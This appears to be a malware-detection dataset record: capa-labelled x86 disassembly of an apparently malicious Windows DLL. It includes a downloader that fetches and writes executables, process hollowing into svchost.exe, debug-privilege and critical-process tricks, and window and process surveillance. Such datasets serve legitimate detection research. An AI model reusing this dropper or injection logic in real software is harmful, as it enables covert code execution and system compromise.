joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006660
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x1002471c
push 1
push edi
push 0x100246fc
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x10006694
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x1002470c
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x1000668c
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x1000674d
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x10022470
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x10006729
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x28], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x28]
push ecx
push str.FriendlyName
push eax
call edx
test eax, eax
jne 0x1000671e
mov eax, dword [ebp - 0x20]
push eax
inc edi
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x100066d8
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10006a40
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3c
mov edi, ecx
call fcn.1000eee4
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [edi + 0xcc8]
push 0x10025044
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push esi
call fcn.100068e0
push 0x11c
xor ebx, ebx
lea ecx, [ebp - 0x120]
push ebx
push ecx
call fcn.10016660
add esp, 0x1c
lea edx, [ebp - 0x120]
push edx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10006bb6
cmp dword [ebp - 0x110], 2
jne 0x10006bb6
cmp dword [ebp - 0x11c], 5
jbe 0x10006bb6
lea eax, [ebp - 0x124]
push eax
push 8
mov dword [ebp - 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10006bb6
mov edx, dword [ebp - 0x124]
lea ecx, [ebp - 0x128]
push ecx
push ebx
push ebx
push 0x19
push edx
mov dword [ebp - 0x128], ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x10006b8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10006b8b
mov eax, dword [ebp - 0x128]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x12c], eax
test eax, eax
je 0x10006b8b
mov edx, dword [ebp - 0x128]
lea ecx, [ebp - 0x128]
push ecx
push edx
push eax
mov eax, dword [ebp - 0x124]
push 0x19
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x10006b7e
mov ebx, dword [ebp - 0x12c]
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx edx, byte [eax]
mov eax, dword [ebx]
dec edx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x2000
ja 0x10006bc6
je 0x10006bbe
test ebx, ebx
je 0x10006bb6
cmp ebx, 0x1000
jne 0x10006bf4
push esi
push 0x1002534c
jmp 0x10006be4
push esi
push str.None__s
jmp 0x10006be4
push esi
push 0x10025358
jmp 0x10006be4
cmp ebx, 0x3000
je 0x10006bde
cmp ebx, 0x4000
jne 0x10006bf4
push esi
push 0x10025370
jmp 0x10006be4
push esi
push 0x10025364
add edi, 0xa70
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
test esi, esi
je 0x10006c01
push esi
call fcn.1000f9b9
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x10006c20
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x64], esi
xor edi, edi
lea eax, [esi + 0x42]
mov word [ebp - 0x1c], ax
lea ecx, [ebp - 0x1c]
xor eax, eax
push ecx
mov dword [ebp - 0x1a], 0x5c003a
mov word [ebp - 0x16], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x10006ca0
lea edx, [ebp - 0x7c]
push edx
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x1c]
push edx
inc edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x7c]
shrd eax, ecx, 0x1e
add dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x78]
shrd edx, eax, 0x1e
shr ecx, 0x1e
shr eax, 0x1e
add dword [ebp - 0x64], edx
inc esi
cmp esi, 0x1a
jl 0x10006c43
push 0x40
lea ecx, [ebp - 0x5c]
push 0
push ecx
mov dword [ebp - 0x68], edi
call fcn.10016660
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
mov dword [ebp - 0x5c], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x64]
shrd esi, edi, 0x1e
shr edi, 0x1e
add esi, 1
adc edi, 0
shrd eax, ecx, 0x1e
shr ecx, 0x1e
add eax, 1
adc ecx, 0
push ecx
mov ecx, dword [ebp - 0x68]
push eax
mov eax, dword [ebp - 0x60]
push edx
push eax
push ecx
push str.HDD:_d
push 0xc8
push ebx
call fcn.1000f748
push edi
push esi
push ebx
push str._sFree_d_Gb
push 0xc8
push ebx
call fcn.1000f748
mov ecx, dword [ebp - 8]
add esp, 0x38
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x10006d40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10026578
push 0x10014250
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x10029210]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x238], eax
mov edi, edx
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x23c], SysReAllocString
xor ebx, ebx
mov dword [ebp - 0x228], ebx
xor ecx, ecx
mov word [ebp - 0x224], cx
push 0x206
push ebx
lea edx, [ebp - 0x222]
push edx
call fcn.10016660
add esp, 0xc
mov dword [ebp - 0x234], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x22c]
push eax
push 0x20019
push ebx
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10006df2
mov dword [ebp - 0x228], 0xffffffff
jmp 0x10006e7b
mov eax, dword [ebp - 0x230]
cmp eax, ebx
jbe 0x10006e7b
cmp eax, 2
ja 0x10006e7b
mov dword [ebp - 0x234], 0x208
lea ecx, [ebp - 0x234]
push ecx
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x230]
push eax
push ebx
mov ecx, dword [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10006e75
push 0x10025040
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x10006e5b
mov dword [ebp - 0x228], 0xfffffffe
jmp 0x10006e7b
lea ecx, [ebp - 0x224]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], 1
jmp 0x10006e7b
mov dword [ebp - 0x228], ebx
mov dword [ebp - 4], 0xfffffffe
call fcn.10006ea9
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x10007480
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000758e
push str.RtlGetNtVersionNumbers
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10007587
push esi
push edi
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x10]
push ecx
call eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
and eax, 0xffff
push eax
push edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
push str._d._d._d
push 0x1e
push ecx
call fcn.1000f748
xor ecx, ecx
mov eax, 0xca
mov dword [ebp - 0x14], eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000eee4
add esp, 0x1c
mov esi, eax
mov dword [ebp - 0x18], 1
call fcn.10007400
test eax, eax
je 0x10007522
lea eax, [ebp - 4]
push eax
push 0x20119
jmp 0x1000752b
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x14]
push edx
push esi
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push 0
push str.ProductName
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10007572
test edi, edi
jne 0x10007572
mov edx, dword [ebp + 0xc]
push 0x31
push esi
push 0x32
push edx
call fcn.1000fafe
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.1000f9b9
add esp, 4
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007610
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10007677
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.NtSetInformationProcess
push str.NtDll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x100076a3
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x1c], 1
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x1d
push eax
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x10007730
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1000776a
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x10007757
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x10007c70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x80c], eax
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov byte [ebp - 0x805], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenW
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x818], eax
test eax, eax
jne 0x10007d00
test esi, esi
je 0x10007ced
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlW
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x818]
push 0
push SysReAllocString
push 0
push 0
push edx
push ecx
call eax
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x10007ce2
mov edx, dword [ebp - 0x810]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x810], eax
cmp eax, 0xffffffff
je 0x10007def
jmp 0x10007d60
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.10016660
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp - 0x80c]
push 0x800
lea edx, [ebp - 0x804]
push edx
push ecx
call eax
test ebx, ebx
je 0x10007dac
mov edx, 0x5a4d
cmp word [ebp - 0x804], dx
jne 0x10007ddb
mov ecx, dword [ebp - 0x814]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x81c]
push eax
mov eax, dword [ebp - 0x810]
push ecx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x814], ebx
ja 0x10007d60
jmp 0x10007de2
mov byte [ebp - 0x805], 0
mov ecx, dword [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov edi, eax
push edx
call edi
mov eax, dword [ebp - 0x818]
push eax
call edi
test esi, esi
je 0x10007e1e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x805]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x10007e40
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x44
lea eax, [ebp - 0x434]
push 0
push eax
call fcn.10016660
xor eax, eax
push 0x2cc
push eax
lea ecx, [ebp - 0x3dc]
push ecx
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], eax
call fcn.10016660
xor edx, edx
push 0xfe
push edx
lea eax, [ebp - 0x10b]
push eax
mov dword [ebp - 0x434], 0x44
mov dword [ebp - 0x408], 1
mov word [ebp - 0x404], dx
mov byte [ebp - 0x10c], dl
call fcn.10016660
add esp, 0x24
push 0xff
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.WindowsSysWOW64_svchost.exe
lea edx, [ebp - 0x10c]
push edx
push 0x1002555c
mov byte [ebp - 0x109], 0
call fcn.10008710
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007f32
lea ecx, [ebp - 0x10c]
push str.WindowsSystem32_svchost.exe
push ecx
push 0x1002555c
mov edx, ecx
mov byte [ebp - 0x109], 0
call fcn.10008710
add esp, 0xc
lea edx, [ebp - 0x3ec]
push edx
lea eax, [ebp - 0x434]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10007f71
xor al, al
pop edi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x3ec]
push 0x40
push 0x3000
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10007f5f
mov eax, dword [ebp - 0x3ec]
push 0
push esi
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10007f5f
mov edx, dword [ebp - 0x3e8]
lea ecx, [ebp - 0x3dc]
push ecx
push edx
mov dword [ebp - 0x3dc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10007f5f
mov ecx, dword [ebp - 0x3e8]
lea eax, [ebp - 0x3dc]
push eax
push ecx
mov dword [ebp - 0x324], edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10007f5f
mov edx, dword [ebp - 0x3e8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x100080e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, edx
mov dword [ebp - 0x4c0], esi
mov dword [ebp - 0x4c4], edi
test esi, esi
je 0x1000823f
test edi, edi
je 0x1000823f
push ebx
lea eax, [ebp - 0x4bc]
push eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x100081f2
xor ebx, ebx
cmp word [ebp - 0x4bc], bx
je 0x100081f2
lea esi, [ebp - 0x4bc]
xor edi, edi
jmp 0x10008150
push 0x10025644
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x100081ca
push 0x1002564c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x100081ca
mov cx, word [esi]
mov dx, word [ebp + edi - 0x4ba]
mov word [ebp - 0xc], cx
push 0x64
lea ecx, [ebp - 0xd4]
mov word [ebp - 0xa], dx
push ecx
lea edx, [ebp - 0xc]
xor eax, eax
push edx
mov word [ebp - 8], ax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x100081fa
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [ebp - 0x4c0]
mov esi, eax
push esi
lea ecx, [ebp - 0xd4]
push ecx
push edi
call fcn.1000fd37
add esp, 0xc
test eax, eax
je 0x1000820d
add ebx, 4
lea edi, [ebx + ebx]
cmp word [ebp + edi - 0x4bc], 0
lea esi, [ebp + edi - 0x4bc]
jne 0x10008150
mov edi, dword [ebp - 0x4c4]
mov esi, dword [ebp - 0x4c0]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x4c4]
lea edx, [ebp - 0xc]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [edi + esi*2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.1000eefa
mov esp, ebp
pop ebp
ret
Function at 0x1000b8f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10021028
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x10029210]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
push eax
push 2
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000b99d
push 0x200
call fcn.1000f5f7
push 0x200
mov esi, eax
push 0
push esi
call fcn.10016660
push 0x100258b0
lea ecx, [esi + 2]
push 0xff
push ecx
mov byte [esi], 1
call fcn.1000f766
add esp, 0x1c
cmp dword [ebx + 8], 0
jne 0x1000b98f
mov ecx, dword [ebx + 4]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push 0x200
push esi
call eax
push esi
call fcn.1000eeef
add esp, 4
jmp 0x1000ba43
push 0x228
lea ecx, [ebp - 0x254]
push 0
push ecx
call fcn.10016660
add esp, 0xc
lea edx, [ebp - 0x258]
push edx
push esi
mov dword [ebp - 0x258], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1000ba43
nop
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x234]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000ba06
test dx, dx
je 0x1000ba02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000ba06
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000b9e0
xor eax, eax
jmp 0x1000ba0b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000ba23
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1000b9d0
jmp 0x1000ba43
cmp dword [ebx + 8], 0
mov byte [ebp - 0x259], 2
jne 0x1000ba43
mov ecx, dword [ebx + 4]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
push 1
lea eax, [ebp - 0x259]
push eax
call edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000eefa
mov esp, ebp
pop ebp
ret 8
Function at 0x1000ba60
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x230
call fcn.1000f5f7
add esp, 4
push 0x230
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.10016660
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
mov byte [ebx], 0
mov dword [ebp - 0x18], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [ebp - 0x14]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov eax, 0x88888889
mul edx
shr edx, 5
push edx
lea edx, [ebx + 2]
push 0x100252c8
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
cmp eax, esi
je 0x1000bae9
push 0xfa
lea ecx, [ebx + 0x20]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push esi
push esi
push esi
push 1
lea edx, [ebp - 4]
push edx
lea edx, [ebp - 0xc]
lea ecx, [ebp - 8]
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
call fcn.1000bbd0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x1000bbb2
cmp byte [ebp + 0xc], 0
je 0x1000bbb2
add eax, 0x230
push eax
mov dword [ebp - 0x14], eax
call fcn.1000eee4
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov dword [ebx + 0x214], ecx
mov edi, eax
mov dword [ebx + 0x218], edx
mov edx, dword [ebp - 0x10]
mov ecx, 0x8c
mov esi, ebx
add esp, 4
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
push ecx
mov dword [ebp + 0xc], eax
push edx
add eax, 0x230
push eax
call fcn.10017550
mov eax, dword [ebp + 8]
add esp, 0xc
cmp dword [eax + 8], 0
jne 0x1000bb80
mov ecx, dword [eax + 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
call eax
mov esi, dword [ebp + 0xc]
push ebx
call fcn.1000eeef
mov eax, dword [ebp - 0x10]
add esp, 4
test eax, eax
je 0x1000bb9c
push eax
call fcn.1000f9b9
add esp, 4
test esi, esi
je 0x1000bba9
push esi
call fcn.1000f9b9
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 8]
cmp dword [eax + 8], esi
jne 0x1000bb83
mov ecx, dword [eax + 4]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push 0x230
push ebx
call eax
jmp 0x1000bb83